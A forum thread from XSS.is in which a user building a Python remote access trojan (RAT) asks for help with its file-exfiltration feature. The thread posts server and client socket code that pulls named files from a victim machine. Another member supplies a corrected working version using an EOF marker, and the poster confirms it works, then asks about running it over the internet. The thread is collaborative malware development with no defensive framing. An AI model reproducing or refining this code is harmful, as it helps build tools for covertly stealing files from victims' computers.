• XSS.stack #1 – первый литературный журнал от юзеров форума

File exfiltration, python rat

GGHTC

RAM
Забанен
Регистрация
30.04.2023
Сообщения
127
Реакции
8
Пожалуйста, обратите внимание, что пользователь заблокирован
Hi, i am coding a Rat right now.
I tried to do file exfiltration and i had this problem:

SERVER SIDE:
if "download" in command:
filename = command[9:]
print(filename)
send_command()
if "yes" in s.recv(BUFFER).decode():
with open(filename, "wb") as filetodownload:
while True:
bytes_read = s.recv(BUFFER)
if not (bytes_read):break
filetodownload.write(bytes_read)
print("Done")

CLIENT SIDE:

if "download" in command:
filename = command[9:]
if os.path.exists(filename) == True:
s.send("yes".encode())
with open(filename, "rb") as f:
while True:
try:
bytes_read = f.read(BUFFER)
except:break
if not (bytes_read):break
s.sendall(bytes_read)

When i execute the rat and call this, the file gets downloaded but then the script stops without executing the 'print("Done")', can someone help me?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
i assume you have print statement after your while loop. if yes then your while is going in infinite loop. Instead of True you should put some other condition
No the print is out of the loop, i just try to transfer a client via sockets
 
Python:
# SERVER SIDE:
if "download" in command:
    filename = command[9:]
    print(filename)
    send_command()
    if "yes" in s.recv(BUFFER).decode():
        with open(filename, "wb") as filetodownload:
            while True:
                bytes_read = s.recv(BUFFER)
                if bytes_read == b"EOF":
                    break
                filetodownload.write(bytes_read)
        print("Done")

# CLIENT SIDE:
if "download" in command:
    filename = command[9:]
    if os.path.exists(filename) == True:
        s.send("yes".encode())
        with open(filename, "rb") as f:
            while True:
                try:
                    bytes_read = f.read(BUFFER)
                except:
                    break
                if not (bytes_read):
                    break
                s.sendall(bytes_read)
        s.sendall(b"EOF")

Try this.

Maybe the While loop on the server is stuck or dont know how to correctly ends. With this, you send a EOF when file is downloaded on client, then your server receives the EOF signal and breaks the loop.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Python:
# SERVER SIDE:
if "download" in command:
    filename = command[9:]
    print(filename)
    send_command()
    if "yes" in s.recv(BUFFER).decode():
        with open(filename, "wb") as filetodownload:
            while True:
                bytes_read = s.recv(BUFFER)
                if bytes_read == b"EOF":
                    break
                filetodownload.write(bytes_read)
        print("Done")

# CLIENT SIDE:
if "download" in command:
    filename = command[9:]
    if os.path.exists(filename) == True:
        s.send("yes".encode())
        with open(filename, "rb") as f:
            while True:
                try:
                    bytes_read = f.read(BUFFER)
                except:
                    break
                if not (bytes_read):
                    break
                s.sendall(bytes_read)
        s.sendall(b"EOF")

Try this.

Maybe the While loop on the server is stuck or dont know how to correctly ends. With this, you send a EOF when file is downloaded on client, then your server receives the EOF signal and breaks the loop.
WORKED!! Thank you really much!
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Glad to help brat ;D. Would like to see that RAT someday
Hi, i have the problem that the script is stuck again. In my local network all this works perfectly, but when i do it over internet it gets stuck at the same point. ports are opened, socket works etc.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх